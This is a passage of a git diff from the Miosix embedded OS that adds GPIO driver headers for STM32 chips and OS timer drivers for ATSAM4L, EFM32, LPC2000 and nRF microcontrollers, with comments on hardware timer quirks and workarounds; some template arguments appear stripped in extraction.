0b10010, ///Alternate PullDown (MODE=10 TYPE=0 PUP=10) + ALTERNATE_OD = 0b10100, ///Alternate Open Drain (MODE=10 TYPE=1 PUP=00) + ALTERNATE_OD_PULL_UP = 0b10101, ///Alternate Open Drain PU (MODE=10 TYPE=1 PUP=01) +}; + +/** + * GPIO speed + * \code pin::speed(Speed::_50MHz);\endcode + */ +enum class Speed +{ + //Device-independent defines + LOW = 0x0, + MEDIUM = 0x1, + HIGH = 0x2, //Same as LOW for STM32F0/F3 + VERY_HIGH = 0x3, +#if defined(_CHIP_STM32L0) || defined(_CHIP_STM32L1) + _400KHz = 0x0, + _2MHz = 0x1, + _10MHz = 0x2, + _40MHz = 0x3 +#elif defined(_CHIP_STM32F0) || defined(_CHIP_STM32F3) + _2MHz = 0x0, + _10MHz = 0x1, + _50MHz = 0x3 +#elif defined(_CHIP_STM32F2) || defined(_CHIP_STM32F4) || \ + defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) + _2MHz = 0x0, + _25MHz = 0x1, + _50MHz = 0x2, + _100MHz = 0x3 +#elif defined(_CHIP_STM32L4) + _5MHz = 0x0, + _25MHz = 0x1, + _50MHz = 0x2, + _100MHz = 0x3 +#endif +}; + +//Convert enum classes to their bitmask representation +inline auto toUint(Speed s) { return static_cast(s); } + +/** + * \internal + * Base class to implement non template-dependent functions that, if inlined, + * would significantly increase code size + */ +class GpioBase +{ +protected: + static void modeImpl(unsigned int p, unsigned char n, Mode m); + static void afImpl(unsigned int p, unsigned char n, unsigned char af); +}; + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + */ +class GpioPin : private GpioBase +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : p(pack(PA,0xff)) {} + + /** + * Constructor + * \param p PA, PB, ... as #define'd in stm32f2xx.h + * \param n which pin (0 to 15) + */ + GpioPin(unsigned int p, unsigned char n) + : p(pack(p, n)) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<16; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + void mode(Mode m) + { + modeImpl(getPort(),getNumber(),m); + } + + /** + * Set the GPIO speed + * \param s speed value + */ + void speed(Speed s) + { + auto ptr=getPortDevice(); + ptr->OSPEEDR=(ptr->OSPEEDR & ~(3<<(getNumber()*2))) | toUint(s)<<(getNumber()*2); + } + + /** + * Select which of the many alternate functions is to be connected with the + * GPIO pin. + * \param af alternate function number, from 0 to 15 + */ + void alternateFunction(unsigned char af) + { + afImpl(getPort(),getNumber(),af); + } + + /** + * Set the pin to 1, if it is an output + */ + void high() + { + getPortDevice()->BSRR = 1<BSRR = 1<<(getNumber()+16); + } + + /** + * Allows to read the pin status + * \return 0 or 1 + */ + int value() + { + return (getPortDevice()->IDR & (1<(p & 0xff); + } + +private: + inline GPIO_TypeDef *getPortDevice() const + { + return reinterpret_cast(getPort()); + } + + static inline unsigned long pack(unsigned long p, unsigned long n) + { + //We use the fact that GPIO device pointers are always 16-byte aligned + //to binpack the port number together with the pointer + return p | n; + } + + unsigned long p; +}; + +/** + * Gpio template class + * \param P PA, PB, ... as #define'd in stm32f2xx.h + * \param N which pin (0 to 15) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio : private GpioBase +{ +public: + /** + * \return whether the Gpio is valid + */ + bool isValid() const { return true; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode + */ + static void mode(Mode m) + { + modeImpl(P,N,m); + } + + /** + * Set the GPIO speed + * \param s speed value + */ + static void speed(Speed s) + { + auto ptr=reinterpret_cast(P); + ptr->OSPEEDR=(ptr->OSPEEDR & ~(3<<(N*2))) | toUint(s)<<(N*2); + } + + /** + * Select which of the many alternate functions is to be connected with the + * GPIO pin. + * \param af alternate function number, from 0 to 15 + */ + static void alternateFunction(unsigned char af) + { + afImpl(P,N,af); + } + + /** + * Set the pin to 1, if it is an output + */ + static void high() + { + reinterpret_cast(P)->BSRR = 1<(P)->BSRR = 1<<(N+16); + } + + /** + * Allows to read the pin status + * \return 0 or 1 + */ + static int value() + { + return ((reinterpret_cast(P)->IDR & 1<CRL = (ptr->CRL & ~(0xf<<(n*4))) | toUint(m)<<(n*4); + } else { + ptr->CRH = (ptr->CRH & ~(0xf<<((n-8)*4))) | toUint(m)<<((n-8)*4); + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/gpio/stm32f1_gpio.h b/miosix/arch/drivers/gpio/stm32f1_gpio.h new file mode 100644 index 000000000..0a3274b7b --- /dev/null +++ b/miosix/arch/drivers/gpio/stm32f1_gpio.h @@ -0,0 +1,299 @@ +/*************************************************************************** + * Copyright (C) 2009-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +//Provide shorthands for GPIO port names (PA instead of GPIOA_BASE) +#ifdef GPIOA_BASE +constexpr unsigned int PA = GPIOA_BASE; +#endif +#ifdef GPIOB_BASE +constexpr unsigned int PB = GPIOB_BASE; +#endif +#ifdef GPIOC_BASE +constexpr unsigned int PC = GPIOC_BASE; +#endif +#ifdef GPIOD_BASE +constexpr unsigned int PD = GPIOD_BASE; +#endif +#ifdef GPIOE_BASE +constexpr unsigned int PE = GPIOE_BASE; +#endif +#ifdef GPIOF_BASE +constexpr unsigned int PF = GPIOF_BASE; +#endif +#ifdef GPIOG_BASE +constexpr unsigned int PG = GPIOG_BASE; +#endif + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT);\endcode + */ +enum class Mode +{ + INPUT = 0x4, ///Floating Input (CNF=01 MODE=00) + INPUT_PULL_UP_DOWN = 0x8, ///Pullup/Pulldown Input (CNF=10 MODE=00) + INPUT_ANALOG = 0x0, ///Analog Input (CNF=00 MODE=00) + OUTPUT = 0x3, ///Push Pull 50MHz Output (CNF=00 MODE=11) + OUTPUT_10MHz = 0x1, ///Push Pull 10MHz Output (CNF=00 MODE=01) + OUTPUT_2MHz = 0x2, ///Push Pull 2MHz Output (CNF=00 MODE=10) + OPEN_DRAIN = 0x7, ///Open Drain 50MHz Output (CNF=01 MODE=11) + OPEN_DRAIN_10MHz = 0x5, ///Open Drain 10MHz Output (CNF=01 MODE=01) + OPEN_DRAIN_2MHz = 0x6, ///Open Drain 2MHz Output (CNF=01 MODE=10) + ALTERNATE = 0xb, ///Alternate function 50MHz (CNF=10 MODE=11) + ALTERNATE_10MHz = 0x9, ///Alternate function 10MHz (CNF=10 MODE=01) + ALTERNATE_2MHz = 0xa, ///Alternate function 2MHz (CNF=10 MODE=10) + ALTERNATE_OD = 0xf, ///Alternate Open Drain 50MHz (CNF=11 MODE=11) + ALTERNATE_OD_10MHz = 0xd, ///Alternate Open Drain 10MHz (CNF=11 MODE=01) + ALTERNATE_OD_2MHz = 0xe ///Alternate Open Drain 2MHz (CNF=11 MODE=10) +}; + +//Convert enum classes to their bitmask representation +inline auto toUint(Mode m) { return static_cast(m); } + +template= 8> +struct GpioMode +{ + inline static void mode(Mode m) + { + auto ptr=reinterpret_cast(P); + ptr->CRH=(ptr->CRH & ~(0xf<<((N-8)*4))) | toUint(m)<<((N-8)*4); + } +}; + +template +struct GpioMode +{ + inline static void mode(Mode m) + { + auto ptr=reinterpret_cast(P); + ptr->CRL=(ptr->CRL & ~(0xf<<(N*4))) | toUint(m)<<(N*4); + } +}; + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + */ +class GpioPin +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : p(pack(PA,0xff)) {} + + /** + * Constructor + * \param p PA, PB, ... as #define'd in stm32f10x.h + * \param n which pin (0 to 15) + */ + GpioPin(unsigned int p, unsigned char n) + : p(pack(p, n)) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<16; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode_ + */ + void mode(Mode m); + + /** + * Set the pin to 1, if it is an output + */ + void high() + { + getPortDevice()->BSRR= 1<BRR= 1<IDR & (1<(p & 0xff); + } + +private: + inline GPIO_TypeDef *getPortDevice() const + { + return reinterpret_cast(getPort()); + } + + static inline unsigned long pack(unsigned long p, unsigned long n) + { + //We use the fact that GPIO device pointers are always 256-byte aligned + //to binpack the port number together with the pointer + return p | n; + } + + unsigned long p; +}; + +/** + * Gpio template class + * \param P PA, PB, ... as #define'd in stm32f10x.h + * \param N which pin (0 to 15) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio +{ +public: + /** + * \return whether the Gpio is valid + */ + bool isValid() const { return true; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) + * \param m enum Mode_ + */ + static void mode(Mode m) + { + GpioMode::mode(m); + } + + /** + * Set the pin to 1, if it is an output + */ + static void high() + { + reinterpret_cast(P)->BSRR= 1<(P)->BRR= 1<(P)->IDR & 1< * + ***************************************************************************/ + +/* + * Inline implementation of functions from interfaces_private/os_timer.h + * related to the per-core timer on ARM architectures providing SysTick. + */ + +#pragma once + +#if !defined(OS_TIMER_MODEL_UNIFIED) && __ARM_ARCH>=6 + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * This function must be called: + * - on ARMv6 or higher CPUs (CPUs which provide the SysTick timer) + * - if OS_TIMER_MODEL_UNIFIED is not defined (separate timer model selected) + * - from IRQosTimerInit() in single-core architectures or from IRQosTimerInitSMP() + * (thus once for each core) + * to enable the SysTick which is used to implement IRQosTimerSetPreemption(). + */ +inline void IRQinitCoreLocalPreemptionTimer() +{ + NVIC_EnableIRQ(SysTick_IRQn); +} + +inline void IRQosTimerSetPreemption(unsigned int ns) noexcept +{ + SysTick->LOAD=CoarseTimeConversion::ns2tick(ns,cpuFrequency); + // SysTick is weird. Writing any value to VAL causes LOAD to be stored in + // VAL. Couldn't it be implemented so that writing to VAL writes to VAL? + SysTick->VAL=1; + // Set TICKINT so that when timer reaches zero, interrupt is fired. Also + // set the other bits to avoid read-modify-write. + // NOTE: This register is also written in the ISR in cortexMx_interrupts.cpp + SysTick->CTRL = SysTick_CTRL_CLKSOURCE_Msk + | SysTick_CTRL_TICKINT_Msk + | SysTick_CTRL_ENABLE_Msk; + // Immediately after starting the timer, change LOAD so that when the timer + // reaches zero, it restarts counting from the highest possible value to + // measure thread actual burst length + SysTick->LOAD=0x00ffffff; +} + +// This may become part of the implementation of the to-be-defined API to get +// thread actual burst lengths for the control scheduler +// unsigned int getBurstErrorTicks() +// { +// SysTick->CTRL=SysTick_CTRL_CLKSOURCE_Msk; //Stop timer +// int result=SysTick->VAL; +// // If timer overflowed, it kept counting so we can return negative value +// if(SysTick->CTRL & SysTick_CTRL_COUNTFLAG_Msk) result-=0x01000000; +// return result; +// } + +} //namespace miosix + +#endif diff --git a/miosix/arch/drivers/os_timer/atsam4l_os_timer.cpp b/miosix/arch/drivers/os_timer/atsam4l_os_timer.cpp new file mode 100644 index 000000000..dad6f5abc --- /dev/null +++ b/miosix/arch/drivers/os_timer/atsam4l_os_timer.cpp @@ -0,0 +1,318 @@ +/*************************************************************************** + * Copyright (C) 2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix_settings.h" +#include "kernel/lock.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/interrupts.h" +#include "interfaces_private/os_timer.h" +#include "kernel/logging.h" + +/* + * Long story short, the ATsam4l has two kind of timers, the TC and AST and both + * suck in their unique kind of way. + * + * The TC is the only timer I've ever seen whose timer counter is read-only and + * when the timer is started can only start from zero. So we need a software + * workaround to advance the timer to account for deep sleep periods. Also, its + * interrupt flags are cleared by just reading the status register, which to + * implement the pending bit trick required to reimplement in software the + * persistance of interrupt flags that any sane peripheral would do in hardware. + * + * The AST would in theory be cool, as it is an RTC and thus it keeps the time + * also while in deep sleep and can even wake the CPU up, but the RTC clock + * domain crossing needs to be handled explicitly in software and requires to + * poll for entire RTC clock cycles slowing down context switches considerably. + * Moreover, it was found that likely due a clock domain crossing issue in + * hardware the overflow flag is not in sync with the timer counter! It is + * asserted 1.5 clock cycles before the observable timer counter rolls over + * from 0xffffffff to 0x00000000. Yes, it is asserted in the middle of the time + * when the counter reads 0xfffffffe! This messes up the pending bit trick and + * without a workaround would cause a call to getTime() in the wrong moment to + * return a time 0x100000000 / 16384 = 72 hours in the future! This has been + * observed to stall the entire OS context switches for 72 hours before the + * workaound was applied. + * + * I guess Atmel really doesn't know how to design a timer that works.... + */ + +#ifndef WITH_RTC_AS_OS_TIMER + +namespace miosix { + +/* + * Apparently, the TC1->TC_CHANNEL[0].TC_SR bits are cleared by... reading + * the register. Since for the pending bit trick logic we need these + * interrupt flags to be less volatile than that, we keep a copy of them + * here. At least I've tested and clearing this flag outside interrupt context + * doesn't unset the interrupt form being pending, which is a good thing. + */ +static unsigned int sr=0; + +/* + * The timer counter TC1->TC_CHANNEL[0].TC_CV is read-only! So in order to set + * the timer value we need to keep it in a software variable. + */ +static unsigned short counterAdd=0; + +class ATSAM_TC1_Timer : public TimerAdapter +{ +public: + static inline unsigned int IRQgetTimerCounter() + { + return TC1->TC_CHANNEL[0].TC_CV+counterAdd; + } + static inline void IRQsetTimerCounter(unsigned int v) { counterAdd=v; } + + static inline unsigned int IRQgetTimerMatchReg() + { + return TC1->TC_CHANNEL[0].TC_RC+counterAdd; + } + static inline void IRQsetTimerMatchReg(unsigned int v) + { + TC1->TC_CHANNEL[0].TC_RC=v-counterAdd; + } + + static inline bool IRQgetOverflowFlag() + { + sr |= TC1->TC_CHANNEL[0].TC_SR; + return sr & TC_SR_COVFS; + } + static inline void IRQclearOverflowFlag() + { + sr &= ~TC_SR_COVFS; + } + + static inline bool IRQgetMatchFlag() + { + sr |= TC1->TC_CHANNEL[0].TC_SR; + return sr & TC_SR_CPCS; + } + static inline void IRQclearMatchFlag() + { + sr &= ~TC_SR_CPCS; + } + + static inline void IRQforcePendingIrq() { NVIC_SetPendingIRQ(TC10_IRQn); } + + static inline void IRQstopTimer() { TC1->TC_CHANNEL[0].TC_CCR=TC_CCR_CLKDIS; } + static inline void IRQstartTimer() + { + //NOTE: This will start the timer but also reset it, and this is desired + TC1->TC_CHANNEL[0].TC_CCR=TC_CCR_CLKEN | TC_CCR_SWTRG; + //For a short while after starting it, the previous value is visible + delayUs(1); + } + + /* + * A 16bit timers overflows too frequently if clocked at the maximum speed, + * and this is bad both because it nullifies the gains of a tickless kernel + * and because if interrupts are disabled for an entire timer period the + * OS loses the knowledge of time. For this reason, we set the timer clock + * to a lower value using the prescaler. + */ + static const int timerFrequency=1000000; //1MHz + + static unsigned int IRQTimerFrequency() + { + return timerFrequency; + } + + void IRQinitTimer() + { + GlobalIrqLock lock; // does nothing, but is needed for IRQregisterIrq + int timerInputFreq = SystemCoreClock / 2; + + //Handle the case when the prescribed timer frequency is not achievable. + //For now, we just enter an infinite loop so if someone selects an + //impossible frequency it won't go unnoticed during testing + if(timerInputFreq % timerFrequency) + { + IRQbootlog("Frequency error\r\n"); + for(;;) ; + } + + //Configure GCLK8 as prescaler for TC1 + SCIF->SCIF_GCCTRL[8].SCIF_GCCTRL = SCIF_GCCTRL_DIV((timerInputFreq/timerFrequency)-1) + | SCIF_GCCTRL_OSCSEL(getSelectedOscillator()) + | SCIF_GCCTRL_DIVEN + | SCIF_GCCTRL_CEN; + + auto tempPbamask = PM->PM_PBAMASK | PM_PBAMASK_TC1; + PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); + PM->PM_PBAMASK = tempPbamask; //Enable clock gating to TC1 + + TC1->TC_CHANNEL[0].TC_CMR = TC_CMR_WAVE | TC_CMR_CAPTURE_TCCLKS(0); //CLOCK=GCLK8 + TC1->TC_CHANNEL[0].TC_IER = TC_IER_CPCS | TC_IER_COVFS; + + IRQregisterIrq(lock,TC10_IRQn,&TimerAdapter::IRQhandler, + static_cast*>(this)); + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED + } +}; + +static ATSAM_TC1_Timer timer; +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); +} //namespace miosix + +#else //WITH_RTC_AS_OS_TIMER + +namespace miosix { + +// quirkAdvance = 2. One is needed as setting the match register for a tick +// after the current one does not trigger an interrupt, Another one is due to +// the +1 in IRQgetTimerCounter() to account for the pending bit hardware bug +class ATSAM_AST_Timer : public TimerAdapter +{ +public: + static inline unsigned int IRQgetTimerCounter() + { + while(AST->AST_SR & AST_SR_BUSY) ; + // Workaround for hardware bug! The pending bit is asserted earlier than + // the observable counter rollover, actually in the middle of the timer + // counting 0xfffffffe. Solution: return counter value +1 so 0xffffffff + // becomes 0x0 which makes it in sync, if reading 0xfffffffe wait till + // next cycle as we can't predict what the pending bit would be + for(;;) + { + auto result=AST->AST_CV; + if(result==0xfffffffe) continue; + return result+1; + } + } + static inline void IRQsetTimerCounter(unsigned int v) + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_CV=v-1; + } + + static inline unsigned int IRQgetTimerMatchReg() + { + while(AST->AST_SR & AST_SR_BUSY) ; + return AST->AST_AR0; + } + static inline void IRQsetTimerMatchReg(unsigned int v) + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_AR0=v; + } + + static inline bool IRQgetOverflowFlag() { return AST->AST_SR & AST_SR_OVF; } + static inline void IRQclearOverflowFlag() + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_SCR=AST_SCR_OVF; + } + + static inline bool IRQgetMatchFlag() { return AST->AST_SR & AST_SR_ALARM0; } + static inline void IRQclearMatchFlag() + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_SCR=AST_SCR_ALARM0; + } + + static inline void IRQforcePendingIrq() { NVIC_SetPendingIRQ(AST_ALARM_IRQn); } + + static inline void IRQstopTimer() + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_CR &= ~AST_CR_EN; + } + static inline void IRQstartTimer() + { + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_CR |= AST_CR_EN; + } + + static unsigned int IRQTimerFrequency() { return 16384; } + + void IRQinitTimer() + { + GlobalIrqLock lock; // does nothing, but is needed for IRQregisterIrq + start32kHzOscillator(); + + //AST clock gating already enabled at boot + PDBG|=PDBG_AST; //Stop AST during debugging + + //Select 32kHz clock + AST->AST_CLOCK=AST_CLOCK_CSSEL_32KHZCLK; + while(AST->AST_SR & AST_SR_CLKBUSY) ; + AST->AST_CLOCK |= AST_CLOCK_CEN; + while(AST->AST_SR & AST_SR_CLKBUSY) ; + + //Counter mode, not started, clear only on overflow, fastest prescaler + AST->AST_CR=AST_CR_PSEL(0); + + //Initialize conter and match register + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_CV=0; + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_SCR=0xffffffff; + + //Interrupt on overflow or match + AST->AST_IER=AST_IER_ALARM0 | AST_IER_OVF; + //Wakeup from deep sleep on overflow or match + while(AST->AST_SR & AST_SR_BUSY) ; + AST->AST_WER=AST_WER_ALARM0 | AST_WER_OVF; + + IRQregisterIrq(lock,AST_ALARM_IRQn,&TimerAdapter::IRQhandler, + static_cast*>(this)); + IRQregisterIrq(lock,AST_OVF_IRQn,&TimerAdapter::IRQhandler, + static_cast*>(this)); + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED + } +}; + +static ATSAM_AST_Timer timer; +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); + +/* +// Test code for checking the presence of the race condition. Call from main. +// Set AST->AST_CV=0xffff0000; in timer init not to wait 72 hours till test end. +void test() +{ + FastGlobalIrqLock dLock; + long long lastgood=0; + for(;;) + { + auto current=timer.IRQgetTimeTick(); + if(current>0x180000000LL) + { + FastGlobalIrqUnlock eLock(dLock); + iprintf("Test failed fail=0x%llx lastgood=0x%llx\n",current,lastgood); + } else if(current==0x100001000LL) IRQerrorLog("Test end\r\n"); + lastgood=current; + } +}*/ +} //namespace miosix + +#endif //WITH_RTC_AS_OS_TIMER diff --git a/miosix/arch/common/core/efm32_os_timer.cpp b/miosix/arch/drivers/os_timer/efm32_os_timer.cpp similarity index 83% rename from miosix/arch/common/core/efm32_os_timer.cpp rename to miosix/arch/drivers/os_timer/efm32_os_timer.cpp index 880d9f61f..3b8b78599 100644 --- a/miosix/arch/common/core/efm32_os_timer.cpp +++ b/miosix/arch/drivers/os_timer/efm32_os_timer.cpp @@ -25,9 +25,10 @@ * along with this program; if not, see * ***************************************************************************/ -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" +#include "kernel/lock.h" +#include "interfaces/interrupts.h" #include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" namespace miosix { @@ -69,7 +70,7 @@ class EFM32Timer2 : public TimerAdapter * and because if interrupts are disabled for an entire timer period the * OS loses the knowledge of time. For this reason, we set the timer clock * to a lower value using the prescaler. - * However, on't top of that these MCUs have a prescaler that can only + * However, on top of that these MCUs have a prescaler that can only * divide by powers of two. For now, we fix the prescaler value of 16 * which seems about the right tradeoff with the clocks EFM32 use and get * whatever timer clock comes out. @@ -81,16 +82,12 @@ class EFM32Timer2 : public TimerAdapter static unsigned int IRQTimerFrequency() { - unsigned int result=SystemCoreClock; - //EFM32 has separate prescalers for core and peripherals, so we start - //from HFCORECLK, work our way up to HFCLK and then down to HFPERCLK - result*=1<<(CMU->HFCORECLKDIV & _CMU_HFCORECLKDIV_HFCORECLKDIV_MASK); - result/=1<<(CMU->HFPERCLKDIV & _CMU_HFPERCLKDIV_HFPERCLKDIV_MASK); - return result/prescaler; + return peripheralFrequency/prescaler; } - static void IRQinitTimer() + void IRQinitTimer() { + GlobalIrqLock lock; // does nothing, but is needed by IRQregisterIrq CMU->HFPERCLKEN0 |= CMU_HFPERCLKEN0_TIMER2; // MODE=0 Up-counter @@ -107,23 +104,15 @@ class EFM32Timer2 : public TimerAdapter TIMER2->CC[0].CTRL=TIMER_CC_CTRL_MODE_OUTPUTCOMPARE; TIMER2->CC[0].CCV=0xffff; - NVIC_SetPriority(TIMER2_IRQn,3); //High priority (Max=0, min=15) - NVIC_EnableIRQ(TIMER2_IRQn); + IRQregisterIrq(lock,TIMER2_IRQn,&TimerAdapter::IRQhandler, + static_cast*>(this)); + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED } }; static EFM32Timer2 timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); -} //namespace miosix - -void __attribute__((naked)) TIMER2_IRQHandler() -{ - saveContext(); - asm volatile ("bl _Z11osTimerImplv"); - restoreContext(); -} +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} +} //namespace miosix diff --git a/miosix/arch/drivers/os_timer/lpc2000_os_timer.cpp b/miosix/arch/drivers/os_timer/lpc2000_os_timer.cpp new file mode 100644 index 000000000..bc0ecb356 --- /dev/null +++ b/miosix/arch/drivers/os_timer/lpc2000_os_timer.cpp @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2021-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "kernel/lock.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" +#include "interfaces_private/cpu.h" + +namespace miosix { + +static void timerIrqHandler(); //Forward decl + +class LPC2138Timer0 : public TimerAdapter +{ +public: + static inline unsigned int IRQgetTimerCounter() { return T0TC; } + static inline void IRQsetTimerCounter(unsigned int v) { T0TC=v; } + + static inline unsigned int IRQgetTimerMatchReg() { return T0MR0; } + static inline void IRQsetTimerMatchReg(unsigned int v) { T0MR0=v; } + + static inline bool IRQgetOverflowFlag() { return T0IR & (1<<3); } + static inline void IRQclearOverflowFlag() { T0IR = 1<<3; } + + static inline bool IRQgetMatchFlag() { return T0IR & (1<<0); } + static inline void IRQclearMatchFlag() { T0IR = 1<<0; } + + static inline void IRQforcePendingIrq() { VICSoftInt=1< * + ***************************************************************************/ + +#include "kernel/lock.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" + +namespace miosix { + +/* + * Is it possible that every timer must have its weirdness? + * The nRF timer is so minimalistic that the timer counter isn't readable nor + * writable by software, and there's no interrupt on overflow either. + * Additionally, while the datasheet states that there are 6 capture/compare + * channels per timer, if you read the fine print, TIMER0 to TIMER3 only have + * the first 4, so we use them as follow: + * - channel 3 to emulate reading the timer with capture events in software + * - channel 2 to emulate the timer overflow interrupt + * - channel 0 as the actual match value to implement the OS timer + * Moreover, we use a software variable, offset, to emulate setting the timer + * counter to an arbitrary value, since the timer counter can only be cleared. + * + * Finally, reading the timer registers seems to take quite a few clock cycles + * as a test loop to read the timer as soon as it overflows + * while(NRF_TIMER1->EVENTS_COMPARE[2]==0) ; + * NRF_TIMER1->TASKS_CAPTURE[3]=1; + * int value=NRF_TIMER1->CC[3]; + * results in value between 6 and 8, thus the act of reading TASKS_CAPTURE and + * CC takes between 24 and 32 clock cycles... + */ + +static unsigned int offset=0; + +class NRFTimer1 : public TimerAdapter +{ +public: + static inline unsigned int IRQgetTimerCounter() + { + //Emulate reading by generating a capture event and adding offset + NRF_TIMER1->TASKS_CAPTURE[3]=1; + return NRF_TIMER1->CC[3]+offset; + } + static inline void IRQsetTimerCounter(unsigned int v) + { + //Emulate writing by clearing, setting offset and fixing overflow IRQ + NRF_TIMER1->TASKS_CLEAR=1; + NRF_TIMER1->CC[2]=-v; //Unsigned complement + offset=v; + } + + static inline unsigned int IRQgetTimerMatchReg() + { + return NRF_TIMER1->CC[0]+offset; + } + static inline void IRQsetTimerMatchReg(unsigned int v) + { + NRF_TIMER1->CC[0]=v-offset; + } + + static inline bool IRQgetOverflowFlag() + { + return NRF_TIMER1->EVENTS_COMPARE[2]; + } + static inline void IRQclearOverflowFlag() + { + NRF_TIMER1->EVENTS_COMPARE[2]=0; + } + + static inline bool IRQgetMatchFlag() + { + return NRF_TIMER1->EVENTS_COMPARE[0]; + } + static inline void IRQclearMatchFlag() + { + NRF_TIMER1->EVENTS_COMPARE[0]=0; + } + + static inline void IRQforcePendingIrq() { NVIC_SetPendingIRQ(TIMER1_IRQn); } + + static inline void IRQstopTimer() { NRF_TIMER1->TASKS_STOP=1; } + static inline void IRQstartTimer() { NRF_TIMER1->TASKS_START=1; } + + static unsigned int IRQTimerFrequency() { return 16000000; } + + void IRQinitTimer() + { + GlobalIrqLock lock; // does nothing, but is needed by IRQregisterIrq + 